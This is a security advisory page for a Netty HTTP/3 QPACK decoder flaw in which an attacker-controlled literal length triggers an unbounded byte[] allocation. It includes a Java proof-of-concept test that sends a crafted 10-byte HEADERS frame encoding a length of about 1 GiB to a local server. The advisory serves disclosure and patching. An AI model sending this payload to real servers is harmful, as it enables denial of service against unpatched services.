Netty HTTP/3 QPACK literal unbounded allocation
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverErrors.set(cause.getCause());
} else {
serverErrors.set(cause);
}
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10000000)
.initialMaxStreamDataBidirectionalLocal(1000000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
header.writeByte(0x01);
header.writeByte(0x08);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x27);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x04);
rawStream.writeAndFlush(header).sync();
assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}Impact
The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.netty:netty-codec-http3 | >= 4.2.0.Final, < 4.2.13.Final | 4.2.13.Final |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-770, CWE-789- Platform
- Java / Kotlin (Maven)
- Package
io.netty:netty-codec-http3- Disclosed
- 07.05.2026
- Updated
- 11.10.2026 13:20
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2c5c-chwr-9hqw - CC BY 4.0
Vulnerability history: io.netty:netty-codec-http3
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 05.2026 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 4
Disclosures per year
- 2026: 4
-
Netty HTTP/3 QPACK literal unbounded allocation this entry
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